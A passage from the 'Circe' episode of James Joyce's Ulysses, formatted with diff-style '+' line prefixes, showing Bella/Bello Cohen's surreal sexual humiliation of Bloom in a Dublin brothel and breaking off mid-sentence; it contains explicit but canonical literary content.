+ +(BEN JUMBO DOLLARD, RUBICUND, MUSCLEBOUND, HAIRYNOSTRILLED, HUGEBEARDED, +CABBAGEEARED, SHAGGYCHESTED, SHOCKMANED, FAT- PAPPED, STANDS FORTH, HIS +LOINS AND GENITALS TIGHTENED INTO A PAIR OF BLACK BATHING BAGSLOPS.) + +BEN DOLLARD: (NAKKERING CASTANET BONES IN HIS HUGE PADDED PAWS, YODELS +JOVIALLY IN BASE BARRELTONE) When love absorbs my ardent soul. + +(THE VIRGINS NURSE CALLAN AND NURSE QUIGLEY BURST THROUGH THE RINGKEEPERS +AND THE ROPES AND MOB HIM WITH OPEN ARMS.) + +THE VIRGINS: (GUSHINGLY) Big Ben! Ben my Chree! + +A VOICE: Hold that fellow with the bad breeches. + +BEN DOLLARD: (SMITES HIS THIGH IN ABUNDANT LAUGHTER) Hold him now. + +HENRY: (CARESSING ON HIS BREAST A SEVERED FEMALE HEAD, MURMURS) Thine +heart, mine love. (HE PLUCKS HIS LUTESTRINGS) When first I saw ... + +VIRAG: (SLOUGHING HIS SKINS, HIS MULTITUDINOUS PLUMAGE MOULTING) Rats! +(HE YAWNS, SHOWING A COALBLACK THROAT, AND CLOSES HIS JAWS BY AN UPWARD +PUSH OF HIS PARCHMENTROLL) After having said which I took my departure. +Farewell. Fare thee well. DRECK! + +(HENRY FLOWER COMBS HIS MOUSTACHE AND BEARD RAPIDLY WITH A POCKETCOMB AND +GIVES A COW'S LICK TO HIS HAIR. STEERED BY HIS RAPIER, HE GLIDES TO THE +DOOR, HIS WILD HARP SLUNG BEHIND HIM. VIRAG REACHES THE DOOR IN TWO +UNGAINLY STILTHOPS, HIS TAIL COCKED, AND DEFTLY CLAPS SIDEWAYS ON THE +WALL A PUSYELLOW FLYBILL, BUTTING IT WITH HIS HEAD.) + +THE FLYBILL: K. II. Post No Bills. Strictly confidential. Dr Hy Franks. + +HENRY: All is lost now. + +(VIRAG UNSCREWS HIS HEAD IN A TRICE AND HOLDS IT UNDER HIS ARM.) + +VIRAG'S HEAD: Quack! + +(EXEUNT SEVERALLY.) + +STEPHEN: (OVER HIS SHOULDER TO ZOE) You would have preferred the fighting +parson who founded the protestant error. But beware Antisthenes, the dog +sage, and the last end of Arius Heresiarchus. The agony in the closet. + +LYNCH: All one and the same God to her. + +STEPHEN: (DEVOUTLY) And sovereign Lord of all things. + +FLORRY: (TO STEPHEN) I'm sure you're a spoiled priest. Or a monk. + +LYNCH: He is. A cardinal's son. + +STEPHEN: Cardinal sin. Monks of the screw. + +(HIS EMINENCE SIMON STEPHEN CARDINAL DEDALUS, PRIMATE OF ALL IRELAND, +APPEARS IN THE DOORWAY, DRESSED IN RED SOUTANE, SANDALS AND SOCKS. SEVEN +DWARF SIMIAN ACOLYTES, ALSO IN RED, CARDINAL SINS, UPHOLD HIS TRAIN, +PEEPING UNDER IT. HE WEARS A BATTERED SILK HAT SIDEWAYS ON HIS HEAD. HIS +THUMBS ARE STUCK IN HIS ARMPITS AND HIS PALMS OUTSPREAD. ROUND HIS NECK +HANGS A ROSARY OF CORKS ENDING ON HIS BREAST IN A CORKSCREW CROSS. +RELEASING HIS THUMBS, HE INVOKES GRACE FROM ON HIGH WITH LARGE WAVE +GESTURES AND PROCLAIMS WITH BLOATED POMP:) + +THE CARDINAL: + + + Conservio lies captured + He lies in the lowest dungeon + With manacles and chains around his limbs + Weighing upwards of three tons. + + +(HE LOOKS AT ALL FOR A MOMENT, HIS RIGHT EYE CLOSED TIGHT, HIS LEFT CHEEK +PUFFED OUT. THEN, UNABLE TO REPRESS HIS MERRIMENT, HE ROCKS TO AND FRO, +ARMS AKIMBO, AND SINGS WITH BROAD ROLLICKING HUMOUR:) + + + O, the poor little fellow + Hihihihihis legs they were yellow + He was plump, fat and heavy and brisk as a snake + But some bloody savage + To graize his white cabbage + He murdered Nell Flaherty's duckloving drake. + + +(A MULTITUDE OF MIDGES SWARMS WHITE OVER HIS ROBE. HE SCRATCHES HIMSELF +WITH CROSSED ARMS AT HIS RIBS, GRIMACING, AND EXCLAIMS:) + +I'm suffering the agony of the damned. By the hoky fiddle, thanks be to +Jesus those funny little chaps are not unanimous. If they were they'd +walk me off the face of the bloody globe. + +(HIS HEAD ASLANT HE BLESSES CURTLY WITH FORE AND MIDDLE FINGERS, IMPARTS +THE EASTER KISS AND DOUBLESHUFFLES OFF COMICALLY, SWAYING HIS HAT FROM +SIDE TO SIDE, SHRINKING QUICKLY TO THE SIZE OF HIS TRAINBEARERS. THE +DWARF ACOLYTES, GIGGLING, PEEPING, NUDGING, OGLING, EASTERKISSING, ZIGZAG +BEHIND HIM. HIS VOICE IS HEARD MELLOW FROM AFAR, MERCIFUL MALE, +MELODIOUS:) + + + Shall carry my heart to thee, + Shall carry my heart to thee, + And the breath of the balmy night + Shall carry my heart to thee! + + +(THE TRICK DOORHANDLE TURNS.) + +THE DOORHANDLE: Theeee! + +ZOE: The devil is in that door. + +(A MALE FORM PASSES DOWN THE CREAKING STAIRCASE AND IS HEARD TAKING THE +WATERPROOF AND HAT FROM THE RACK. BLOOM STARTS FORWARD INVOLUNTARILY AND, +HALF CLOSING THE DOOR AS HE PASSES, TAKES THE CHOCOLATE FROM HIS POCKET +AND OFFERS IT NERVOUSLY TO ZOE.) + +ZOE: (SNIFFS HIS HAIR BRISKLY) Hmmm! Thank your mother for the rabbits. +I'm very fond of what I like. + +BLOOM: (HEARING A MALE VOICE IN TALK WITH THE WHORES ON THE DOORSTEP, +PRICKS HIS EARS) If it were he? After? Or because not? Or the double +event? + +ZOE: (TEARS OPEN THE SILVERFOIL) Fingers was made before forks. (SHE +BREAKS OFF AND NIBBLES A PIECE GIVES A PIECE TO KITTY RICKETTS AND THEN +TURNS KITTENISHLY TO LYNCH) No objection to French lozenges? (HE NODS. +SHE TAUNTS HIM.) Have it now or wait till you get it? (HE OPENS HIS +MOUTH, HIS HEAD COCKED. SHE WHIRLS THE PRIZE IN LEFT CIRCLE. HIS HEAD +FOLLOWS. SHE WHIRLS IT BACK IN RIGHT CIRCLE. HE EYES HER.) Catch! + +(SHE TOSSES A PIECE. WITH AN ADROIT SNAP HE CATCHES IT AND BITES IT +THROUGH WITH A CRACK.) + +KITTY: (CHEWING) The engineer I was with at the bazaar does have lovely +ones. Full of the best liqueurs. And the viceroy was there with his lady. +The gas we had on the Toft's hobbyhorses. I'm giddy still. + +BLOOM: (IN SVENGALI'S FUR OVERCOAT, WITH FOLDED ARMS AND NAPOLEONIC +FORELOCK, FROWNS IN VENTRILOQUIAL EXORCISM WITH PIERCING EAGLE GLANCE +TOWARDS THE DOOR. THEN RIGID WITH LEFT FOOT ADVANCED HE MAKES A SWIFT +PASS WITH IMPELLING FINGERS AND GIVES THE SIGN OF PAST MASTER, DRAWING +HIS RIGHT ARM DOWNWARDS FROM HIS LEFT SHOULDER.) Go, go, go, I conjure +you, whoever you are! + +(A MALE COUGH AND TREAD ARE HEARD PASSING THROUGH THE MIST OUTSIDE. +BLOOM'S FEATURES RELAX. HE PLACES A HAND IN HIS WAISTCOAT, POSING CALMLY. +ZOE OFFERS HIM CHOCOLATE.) + +BLOOM: (SOLEMNLY) Thanks. + +ZOE: Do as you're bid. Here! + +(A FIRM HEELCLACKING TREAD IS HEARD ON THE STAIRS.) + +BLOOM: (TAKES THE CHOCOLATE) Aphrodisiac? Tansy and pennyroyal. But I +bought it. Vanilla calms or? Mnemo. Confused light confuses memory. Red +influences lupus. Colours affect women's characters, any they have. This +black makes me sad. Eat and be merry for tomorrow. (HE EATS) Influence +taste too, mauve. But it is so long since I. Seems new. Aphro. That +priest. Must come. Better late than never. Try truffles at Andrews. + +(THE DOOR OPENS. BELLA COHEN, A MASSIVE WHOREMISTRESS, ENTERS. SHE IS +DRESSED IN A THREEQUARTER IVORY GOWN, FRINGED ROUND THE HEM WITH +TASSELLED SELVEDGE, AND COOLS HERSELF FLIRTING A BLACK HORN FAN LIKE +MINNIE HAUCK IN Carmen. ON HER LEFT HAND ARE WEDDING AND KEEPER RINGS. +HER EYES ARE DEEPLY CARBONED. SHE HAS A SPROUTING MOUSTACHE. HER OLIVE +FACE IS HEAVY, SLIGHTLY SWEATED AND FULLNOSED WITH ORANGETAINTED +NOSTRILS. SHE HAS LARGE PENDANT BERYL EARDROPS.) + +BELLA: My word! I'm all of a mucksweat. + +(SHE GLANCES ROUND HER AT THE COUPLES. THEN HER EYES REST ON BLOOM WITH +HARD INSISTENCE. HER LARGE FAN WINNOWS WIND TOWARDS HER HEATED FACENECK +AND EMBONPOINT. HER FALCON EYES GLITTER.) + +THE FAN: (FLIRTING QUICKLY, THEN SLOWLY) Married, I see. + +BLOOM: Yes. Partly, I have mislaid ... + +THE FAN: (HALF OPENING, THEN CLOSING) And the missus is master. Petticoat +government. + +BLOOM: (LOOKS DOWN WITH A SHEEPISH GRIN) That is so. + +THE FAN: (FOLDING TOGETHER, RESTS AGAINST HER LEFT EARDROP) Have you +forgotten me? + +BLOOM: Yes. Yo. + +THE FAN: (FOLDED AKIMBO AGAINST HER WAIST) Is me her was you dreamed +before? Was then she him you us since knew? Am all them and the same now +we? + +(BELLA APPROACHES, GENTLY TAPPING WITH THE FAN.) + +BLOOM: (WINCING) Powerful being. In my eyes read that slumber which women +love. + +THE FAN: (TAPPING) We have met. You are mine. It is fate. + +BLOOM: (COWED) Exuberant female. Enormously I desiderate your domination. +I am exhausted, abandoned, no more young. I stand, so to speak, with an +unposted letter bearing the extra regulation fee before the too late box +of the general postoffice of human life. The door and window open at a +right angle cause a draught of thirtytwo feet per second according to the +law of falling bodies. I have felt this instant a twinge of sciatica in +my left glutear muscle. It runs in our family. Poor dear papa, a widower, +was a regular barometer from it. He believed in animal heat. A skin of +tabby lined his winter waistcoat. Near the end, remembering king David +and the Sunamite, he shared his bed with Athos, faithful after death. A +dog's spittle as you probably ... (HE WINCES) Ah! + +RICHIE GOULDING: (BAGWEIGHTED, PASSES THE DOOR) Mocking is catch. Best +value in Dub. Fit for a prince's. Liver and kidney. + +THE FAN: (TAPPING) All things end. Be mine. Now, + +BLOOM: (UNDECIDED) All now? I should not have parted with my talisman. +Rain, exposure at dewfall on the searocks, a peccadillo at my time of +life. Every phenomenon has a natural cause. + +THE FAN: (POINTS DOWNWARDS SLOWLY) You may. + +BLOOM: (LOOKS DOWNWARDS AND PERCEIVES HER UNFASTENED BOOTLACE) We are +observed. + +THE FAN: (POINTS DOWNWARDS QUICKLY) You must. + +BLOOM: (WITH DESIRE, WITH RELUCTANCE) I can make a true black knot. +Learned when I served my time and worked the mail order line for +Kellett's. Experienced hand. Every knot says a lot. Let me. In courtesy. +I knelt once before today. Ah! + +(BELLA RAISES HER GOWN SLIGHTLY AND, STEADYING HER POSE, LIFTS TO THE +EDGE OF A CHAIR A PLUMP BUSKINED HOOF AND A FULL PASTERN, SILKSOCKED. +BLOOM, STIFFLEGGED, AGING, BENDS OVER HER HOOF AND WITH GENTLE FINGERS +DRAWS OUT AND IN HER LACES.) + +BLOOM: (MURMURS LOVINGLY) To be a shoefitter in Manfield's was my love's +young dream, the darling joys of sweet buttonhooking, to lace up +crisscrossed to kneelength the dressy kid footwear satinlined, so +incredibly impossibly small, of Clyde Road ladies. Even their wax model +Raymonde I visited daily to admire her cobweb hose and stick of rhubarb +toe, as worn in Paris. + +THE HOOF: Smell my hot goathide. Feel my royal weight. + +BLOOM: (CROSSLACING) Too tight? + +THE HOOF: If you bungle, Handy Andy, I'll kick your football for you. + +BLOOM: Not to lace the wrong eyelet as I did the night of the bazaar +dance. Bad luck. Hook in wrong tache of her ... person you mentioned. +That night she met ... Now! + +(HE KNOTS THE LACE. BELLA PLACES HER FOOT ON THE FLOOR. BLOOM RAISES HIS +HEAD. HER HEAVY FACE, HER EYES STRIKE HIM IN MIDBROW. HIS EYES GROW DULL, +DARKER AND POUCHED, HIS NOSE THICKENS.) + +BLOOM: (MUMBLES) Awaiting your further orders we remain, gentlemen, ... + +BELLO: (WITH A HARD BASILISK STARE, IN A BARITONE VOICE) Hound of +dishonour! + +BLOOM: (INFATUATED) Empress! + +BELLO: (HIS HEAVY CHEEKCHOPS SAGGING) Adorer of the adulterous rump! + +BLOOM: (PLAINTIVELY) Hugeness! + +BELLO: Dungdevourer! + +BLOOM: (WITH SINEWS SEMIFLEXED) Magmagnificence! + +BELLO: Down! (HE TAPS HER ON THE SHOULDER WITH HIS FAN) Incline feet +forward! Slide left foot one pace back! You will fall. You are falling. +On the hands down! + +BLOOM: (HER EYES UPTURNED IN THE SIGN OF ADMIRATION, CLOSING, YAPS) +Truffles! + +(WITH A PIERCING EPILEPTIC CRY SHE SINKS ON ALL FOURS, GRUNTING, +SNUFFLING, ROOTING AT HIS FEET: THEN LIES, SHAMMING DEAD, WITH EYES SHUT +TIGHT, TREMBLING EYELIDS, BOWED UPON THE GROUND IN THE ATTITUDE OF MOST +EXCELLENT MASTER.) + +BELLO: (WITH BOBBED HAIR, PURPLE GILLS, FIT MOUSTACHE RINGS ROUND HIS +SHAVEN MOUTH, IN MOUNTAINEER'S PUTTEES, GREEN SILVERBUTTONED COAT, SPORT +SKIRT AND ALPINE HAT WITH MOORCOCK'S FEATHER, HIS HANDS STUCK DEEP IN HIS +BREECHES POCKETS, PLACES HIS HEEL ON HER NECK AND GRINDS IT IN) +Footstool! Feel my entire weight. Bow, bondslave, before the throne of +your despot's glorious heels so glistening in their proud erectness. + +BLOOM: (ENTHRALLED, BLEATS) I promise never to disobey. + +BELLO: (LAUGHS LOUDLY) Holy smoke! You little know what's in store for +you. I'm the Tartar to settle your little lot and break you in! I'll bet +Kentucky cocktails all round I shame it out of you, old son. Cheek me, I +dare you. If you do tremble in anticipation of heel discipline to be +inflicted in gym costume. + +(BLOOM CREEPS UNDER THE SOFA AND PEERS OUT THROUGH THE FRINGE.) + +ZOE: (WIDENING HER SLIP TO SCREEN HER) She's not here. + +BLOOM: (CLOSING HER EYES) She's not here. + +FLORRY: (HIDING HER WITH HER GOWN) She didn't mean it, Mr Bello. She'll +be good, sir. + +KITTY: Don't be too hard on her, Mr Bello. Sure you won't, ma'amsir. + +BELLO: (COAXINGLY) Come, ducky dear, I want a word with you, darling, +just to administer correction. Just a little heart to heart talk, sweety. +(BLOOM PUTS OUT HER TIMID HEAD) There's a good girly now. (BELLO GRABS +HER HAIR VIOLENTLY AND DRAGS HER FORWARD) I only want to correct you for +your own good on a soft safe spot. How's that tender behind? O, ever so +gently, pet. Begin to get ready. + +BLOOM: (FAINTING) Don't tear my ... + +BELLO: (SAVAGELY) The nosering, the pliers, the bastinado, the hanging +hook, the knout I'll make you kiss while the flutes play like the Nubian +slave of old. You're in for it this time! I'll make you remember me for +the balance of your natural life. (HIS FOREHEAD VEINS SWOLLEN, HIS FACE +CONGESTED) I shall sit on your ottoman saddleback every morning after my +thumping good breakfast of Matterson's fat hamrashers and a bottle of +Guinness's porter. (HE BELCHES) And suck my thumping good Stock Exchange +cigar while I read the LICENSED VICTUALLER'S GAZETTE. Very possibly I +shall have you slaughtered and skewered in my stables and enjoy a slice +of you with crisp crackling from the baking tin basted and baked like +sucking pig with rice and lemon or currant sauce. It will hurt you. (HE +TWISTS HER ARM. BLOOM SQUEALS, TURNING TURTLE.) + +BLOOM: Don't be cruel, nurse! Don't! + +BELLO: (TWISTING) Another! + +BLOOM: (SCREAMS) O, it's hell itself! Every nerve in my body aches like +mad! + +BELLO: (SHOUTS) Good, by the rumping jumping general! That's the best bit +of news I heard these six weeks. Here, don't keep me waiting, damn you! +(HE SLAPS HER FACE) + +BLOOM: (WHIMPERS) You're after hitting me. I'll tell ... + +BELLO: Hold him down, girls, till I squat on him. + +ZOE: Yes. Walk on him! I will. + +FLORRY: I will. Don't be greedy. + +KITTY: No, me. Lend him to me. + +(THE BROTHEL COOK, MRS KEOGH, WRINKLED, GREYBEARDED, IN A GREASY BIB, +MEN'S GREY AND GREEN SOCKS AND BROGUES, FLOURSMEARED, A ROLLINGPIN STUCK +WITH RAW PASTRY IN HER BARE RED ARM AND HAND, APPEARS AT THE DOOR.) + +MRS KEOGH: (FEROCIOUSLY) Can I help? (THEY HOLD AND PINION BLOOM.) + +BELLO: (SQUATS WITH A GRUNT ON BLOOM'S UPTURNED FACE, PUFFING CIGARSMOKE, +NURSING A FAT LEG) I see Keating Clay is elected vicechairman of the +Richmond asylum and by the by Guinness's preference shares are at sixteen +three quaffers. Curse me for a fool that didn't buy that lot Craig and +Gardner told me about. Just my infernal luck, curse it. And that +Goddamned outsider THROWAWAY at twenty to one. (HE QUENCHES HIS CIGAR +ANGRILY ON BLOOM'S EAR) Where's that Goddamned cursed ashtray? + +BLOOM: (GOADED, BUTTOCKSMOTHERED) O! O! Monsters! Cruel one! + +BELLO: Ask for that every ten minutes. Beg. Pray for it as you never +prayed before. (HE THRUSTS OUT A FIGGED FIST AND FOUL CIGAR) Here, kiss +that. Both. Kiss. (HE THROWS A LEG ASTRIDE AND, PRESSING WITH HORSEMAN'S +KNEES, CALLS IN A HARD VOICE) Gee up! A cockhorse to Banbury cross. I'll +ride him for the Eclipse stakes. (HE BENDS SIDEWAYS AND SQUEEZES HIS +MOUNT'S TESTICLES ROUGHLY, SHOUTING) Ho! Off we pop! I'll nurse you in +proper fashion. (HE HORSERIDES COCKHORSE, LEAPING IN THE SADDLE) The lady +goes a pace a pace and the coachman goes a trot a trot and the gentleman +goes a gallop a gallop a gallop a gallop. + +FLORRY: (PULLS AT BELLO) Let me on him now. You had enough. I asked +before you. + +ZOE: (PULLING AT FLORRY) Me. Me. Are you not finished with him yet, +suckeress? + +BLOOM: (STIFLING) Can't. + +BELLO: Well, I'm not. Wait. (HE HOLDS IN HIS BREATH) Curse it. Here. This +bung's about burst. (HE UNCORKS HIMSELF BEHIND: THEN, CONTORTING HIS +FEATURES, FARTS LOUDLY) Take that! (HE RECORKS HIMSELF) Yes, by Jingo, +sixteen three quarters. + +BLOOM: (A SWEAT BREAKING OUT OVER HIM) Not man. (HE SNIFFS) Woman. + +BELLO: (STANDS UP) No more blow hot and cold. What you longed for has +come to pass. Henceforth you are unmanned and mine in earnest, a thing +under the yoke. Now for your punishment frock. You will shed your male +garments, you understand, Ruby Cohen? and don the shot silk luxuriously +rustling over head and shoulders. And quickly too! + +BLOOM: (SHRINKS) Silk, mistress said! O crinkly! scrapy! Must I tiptouch +it with my nails? + +BELLO: (POINTS TO HIS WHORES) As they are now so will you be, wigged, +singed, perfumesprayed, ricepowdered, with smoothshaven armpits. Tape +measurements will be taken next your skin. You will be laced with cruel +force into vicelike corsets of soft dove coutille with whalebone busk to +the diamondtrimmed pelvis, the absolute outside edge, while your figure, +plumper than when at large, will be restrained in nettight frocks, pretty +two ounce petticoats and fringes and things stamped, of course, with my +houseflag, creations of lovely lingerie for Alice and nice scent for +Alice. Alice will feel the pullpull. Martha and Mary will be a little +chilly at first in such delicate thighcasing but the frilly flimsiness of +lace round your bare knees will remind you ... + +BLOOM: (A CHARMING SOUBRETTE WITH DAUBY CHEEKS, MUSTARD HAIR AND LARGE +MALE HANDS AND NOSE, LEERING MOUTH) I tried her things on only twice, a +small prank, in Holles street. When we were hard up I washed them to save +the laundry bill. My own shirts I turned. It was the purest thrift. + +BELLO: (JEERS) Little jobs that make mother pleased, eh? And showed off +coquettishly in your domino at the mirror behind closedrawn blinds your +unskirted thighs and hegoat's udders in various poses of surrender, eh? +Ho! ho! I have to laugh! That secondhand black operatop shift and short +trunkleg naughties all split up the stitches at her last rape that Mrs +Miriam Dandrade sold you from the Shelbourne hotel, eh? + +BLOOM: Miriam. Black. Demimondaine. + +BELLO: (GUFFAWS) Christ Almighty it's too tickling, this! You were a +nicelooking Miriam when you clipped off your backgate hairs and lay +swooning in the thing across the bed as Mrs Dandrade about to be violated +by lieutenant Smythe-Smythe, Mr Philip Augustus Blockwell M. P., signor +Laci Daremo, the robust tenor, blueeyed Bert, the liftboy, Henri Fleury +of Gordon Bennett fame, Sheridan, the quadroon Croesus, the varsity +wetbob eight from old Trinity, Ponto, her splendid Newfoundland and Bobs, +dowager duchess of Manorhamilton. (HE GUFFAWS AGAIN) Christ, wouldn't it +make a Siamese cat laugh? + +BLOOM: (HER HANDS AND FEATURES WORKING) It was Gerald converted me to be +a true corsetlover when I was female impersonator in the High School play +VICE VERSA. It was dear Gerald. He got that kink, fascinated by sister's +stays. Now dearest Gerald uses pinky greasepaint and gilds his eyelids. +Cult of the beautiful. + +BELLO: (WITH WICKED GLEE) Beautiful! Give us a breather! When you took +your seat with womanish care, lifting your billowy flounces, on the +smoothworn throne. + +BLOOM: Science. To compare the various joys we each enjoy. (EARNESTLY) +And really it's better the position ... because often I used to wet ... + +BELLO: (STERNLY) No insubordination! The sawdust is there in the corner +for you. I gave you strict instructions, didn't I? Do it standing, sir! +I'll teach you to behave like a jinkleman! If I catch a trace on your +swaddles. Aha! By the ass of the Dorans you'll find I'm a martinet. The +sins of your past are rising against you. Many. Hundreds. + +THE SINS OF THE PAST: (IN A MEDLEY OF VOICES) He went through a form of +clandestine marriage with at least one woman in the shadow of the Black +church. Unspeakable messages he telephoned mentally to Miss Dunn at an +address in D'Olier street while he presented himself indecently to the +instrument in the callbox. By word and deed he frankly encouraged a +nocturnal strumpet to deposit fecal and other matter in an unsanitary +outhouse attached to empty premises. In five public conveniences he wrote +pencilled messages offering his nuptial partner to all strongmembered +males. And by the offensively smelling vitriol works did he not pass +night after night by loving courting couples to see if and what and how +much he could see? Did he not lie in bed, the gross boar, gloating over a +nauseous fragment of wellused toilet paper presented to him by a nasty +harlot, stimulated by gingerbread and a postal order? + +BELLO: (WHISTLES LOUDLY) Say! What was the most revolting piece of +obscenity in all your career of crime? Go the whole hog. Puke it out! Be +candid for once. + +(MUTE INHUMAN FACES THRONG FORWARD, LEERING, VANISHING, GIBBERING, +BOOLOOHOOM. POLDY KOCK, BOOTLACES A PENNY CASSIDY'S HAG, BLIND STRIPLING, +LARRY RHINOCEROS, THE GIRL, THE WOMAN, THE WHORE, THE OTHER, THE ...) + +BLOOM: Don't ask me! Our mutual faith. Pleasants street. I only thought +the half of the ... I swear on my sacred oath ... + +BELLO: (PEREMPTORILY) Answer. Repugnant wretch! I insist on knowing. Tell +me something to amuse me, smut or a bloody good ghoststory or a line of +poetry, quick, quick, quick! Where? How? What time? With how many? I give +you just three seconds. One! Two! Thr ... + +BLOOM: (DOCILE, GURGLES) I rererepugnosed in rerererepugnant + +BELLO: (IMPERIOUSLY) O, get out, you skunk! Hold your tongue! Speak when +you're spoken to. + +BLOOM: (BOWS) Master! Mistress! Mantamer! + +(HE LIFTS HIS ARMS. HIS BANGLE BRACELETS FILL.) + +BELLO: (SATIRICALLY) By day you will souse and bat our smelling +underclothes also when we ladies are unwell, and swab out our latrines +with dress pinned up and a dishclout tied to your tail. Won't that be +nice? (HE PLACES A RUBY RING ON HER FINGER) And there now! With this ring +I thee own. Say, thank you, mistress. + +BLOOM: Thank you, mistress. + +BELLO: You will make the beds, get my tub ready, empty the pisspots in +the different rooms, including old Mrs Keogh's the cook's, a sandy one. +Ay, and rinse the seven of them well, mind, or lap it up like champagne. +Drink me piping hot. Hop! You will dance attendance or I'll lecture you +on your misdeeds, Miss Ruby, and spank your bare bot right well, miss, +with the hairbrush. You'll be taught the error of your ways. At night +your wellcreamed braceletted hands will wear fortythreebutton gloves +newpowdered with talc and having delicately scented fingertips. For such +favours knights of old laid down their lives. (HE CHUCKLES) My boys will +be no end charmed to see you so ladylike, the colonel, above all, when +they come here the night before the wedding to fondle my new attraction +in gilded heels. First I'll have a go at you myself. A man I know on the +turf named Charles Alberta Marsh (I was in bed with him just now and +another gentleman out of the Hanaper and Petty Bag office) is on the +lookout for a maid of all work at a short knock. Swell the bust. Smile. +Droop shoulders. What offers? (HE POINTS) For that lot. Trained by owner +to fetch and carry, basket in mouth. (HE BARES HIS ARM AND PLUNGES IT +ELBOWDEEP IN BLOOM'S VULVA) There's fine depth for you! What, boys? That +give you a hardon? (HE SHOVES HIS ARM IN A BIDDER'S FACE) Here wet the +deck and wipe it round! + +A BIDDER: A florin. + +(DILLON'S LACQUEY RINGS HIS HANDBELL.) + +THE LACQUEY: Barang! + +A VOICE: One and eightpence too much. + +CHARLES ALBERTA MARSH: Must be virgin. Good breath. Clean. + +BELLO: (GIVES A RAP WITH HIS GAVEL) Two bar. Rockbottom figure and cheap +at the price. Fourteen hands high. Touch and examine his points. Handle +him. This downy skin, these soft muscles, this tender flesh. If I had +only my gold piercer here! And quite easy to milk. Three newlaid gallons +a day. A pure stockgetter, due to lay within the hour. His sire's milk +record was a thousand gallons of whole milk in forty weeks. Whoa my +jewel! Beg up! Whoa! (HE BRANDS HIS INITIAL C ON BLOOM'S CROUP) So! +Warranted Cohen! What advance on two bob, gentlemen? + +A DARKVISAGED MAN: (IN DISGUISED ACCENT) Hoondert punt sterlink. + +VOICES: (SUBDUED) For the Caliph. Haroun Al Raschid. + +BELLO: (GAILY) Right. Let them all come. The scanty, daringly short +skirt, riding up at the knee to show a peep of white pantalette, is a +potent weapon and transparent stockings, emeraldgartered, with the long +straight seam trailing up beyond the knee, appeal to the better instincts +of the BLASE man about town. Learn the smooth mincing walk on four inch +Louis Quinze heels, the Grecian bend with provoking croup, the thighs +fluescent, knees modestly kissing. Bring all your powers of fascination +to bear on them. Pander to their Gomorrahan vices. + +BLOOM: (BENDS HIS BLUSHING FACE INTO HIS ARMPIT AND SIMPERS WITH +FOREFINGER IN MOUTH) O, I know what you're hinting at now! + +BELLO: What else are you good for, an impotent thing like you? (HE STOOPS +AND, PEERING, POKES WITH HIS FAN RUDELY UNDER THE FAT SUET FOLDS OF +BLOOM'S HAUNCHES) Up! Up! Manx cat! What have we here? Where's your curly +teapot gone to or who docked it on you, cockyolly? Sing, birdy, sing. +It's as limp as a boy of six's doing his pooly behind a cart. Buy a +bucket or sell your pump. (LOUDLY) Can you do a man's job? + +BLOOM: Eccles street ... + +BELLO: (SARCASTICALLY) I wouldn't hurt your feelings for the world but +there's a man of brawn in possession there. The tables are turned, my gay +young fellow! He is something like a fullgrown outdoor man. Well for you, +you muff, if you had that weapon with knobs and lumps and warts all over +it. He shot his bolt, I can tell you! Foot to foot, knee to knee, belly +to belly, bubs to breast! He's no eunuch. A shock of red hair he has +sticking out of him behind like a furzebush! Wait for nine months, my +lad! Holy ginger, it's kicking and coughing up and down in her guts +already! That makes you wild, don't it? Touches the spot? (HE SPITS IN +CONTEMPT) Spittoon! + +BLOOM: I was indecently treated, I ... Inform the police. Hundred pounds. +Unmentionable. I ... + +BELLO: Would if you could, lame duck. A downpour we want not your +drizzle. + +BLOOM: To drive me mad! Moll! I forgot! Forgive! Moll ... We ... Still +... + +BELLO: (RUTHLESSLY) No, Leopold Bloom, all is changed by woman's will +since you slept horizontal in Sleepy Hollow your night of twenty years. +Return and see. + +(OLD SLEEPY HOLLOW CALLS OVER THE WOLD.) + +SLEEPY HOLLOW: Rip van Wink! Rip van Winkle! + +BLOOM: (IN TATTERED MOCASSINS WITH A RUSTY FOWLINGPIECE, TIPTOEING, +FINGERTIPPING, HIS HAGGARD BONY BEARDED FACE PEERING THROUGH THE DIAMOND +PANES, CRIES OUT) I see her! It's she! The first night at Mat Dillon's! +But that dress, the green! And her hair is dyed gold and he ... + +BELLO: (LAUGHS MOCKINGLY) That's your daughter, you owl, with a Mullingar +student. + +(MILLY BLOOM, FAIRHAIRED, GREENVESTED, SLIMSANDALLED, HER BLUE SCARF IN +THE SEAWIND SIMPLY SWIRLING, BREAKS FROM THE ARMS OF HER LOVER AND CALLS, +HER YOUNG EYES WONDERWIDE.) + +MILLY: My! It's Papli! But, O Papli, how old you've grown! + +BELLO: Changed, eh? Our whatnot, our writingtable where we never wrote, +aunt Hegarty's armchair, our classic reprints of old masters. A man and +his menfriends are living there in clover. The CUCKOOS' REST! Why not? +How many women had you, eh, following them up dark streets, flatfoot, +exciting them by your smothered grunts, what, you male prostitute? +Blameless dames with parcels of groceries. Turn about. Sauce for the +goose, my gander O. + +BLOOM: They ... I ... + +BELLO: (CUTTINGLY) Their heelmarks will stamp the Brusselette carpet you +bought at Wren's auction. In their horseplay with Moll the romp to find +the buck flea in her breeches they will deface the little statue you +carried home in the rain for art for art' sake. They will violate the +secrets of your bottom drawer. Pages will be torn from your handbook of +astronomy to make them pipespills. And they will spit in your ten +shilling brass fender from Hampton Leedom's. + +BLOOM: Ten and six. The act of low scoundrels. Let me go. I will return. +I will prove ... + +A VOICE: Swear! + +(BLOOM CLENCHES HIS FISTS AND CRAWLS FORWARD, A BOWIEKNIFE BETWEEN HIS +TEETH.) + +BELLO: As a paying guest or a kept man? Too late. You have made your +secondbest bed and others must lie in it. Your epitaph is written. You +are down and out and don't you forget it, old bean. + +BLOOM: Justice! All Ireland versus one! Has nobody ...? (HE BITES HIS +THUMB) + +BELLO: Die and be damned to you if you have any sense of decency or grace +about you. I can give you a rare old wine that'll send you skipping to +hell and back. Sign a will and leave us any coin you have! If you have +none see you damn well get it, steal it, rob it! We'll bury you in our +shrubbery jakes where you'll be dead and dirty with old Cuck Cohen, my +stepnephew I married, the bloody old gouty procurator and sodomite with a +crick in his neck, and my other ten or eleven husbands, whatever the +buggers' names were, suffocated in the one cesspool. (HE EXPLODES IN A +LOUD PHLEGMY LAUGH) We'll manure you, Mr Flower! (HE PIPES SCOFFINGLY) +Byby, Poldy! Byby, Papli! + +BLOOM: (CLASPS HIS HEAD) My willpower! Memory! I have sinned! I have suff +... + +(HE WEEPS TEARLESSLY) + +BELLO: (SNEERS) Crybabby! Crocodile tears! + +(BLOOM, BROKEN, CLOSELY VEILED FOR THE SACRIFICE, SOBS, HIS FACE TO THE +EARTH. THE PASSING BELL IS HEARD. DARKSHAWLED FIGURES OF THE 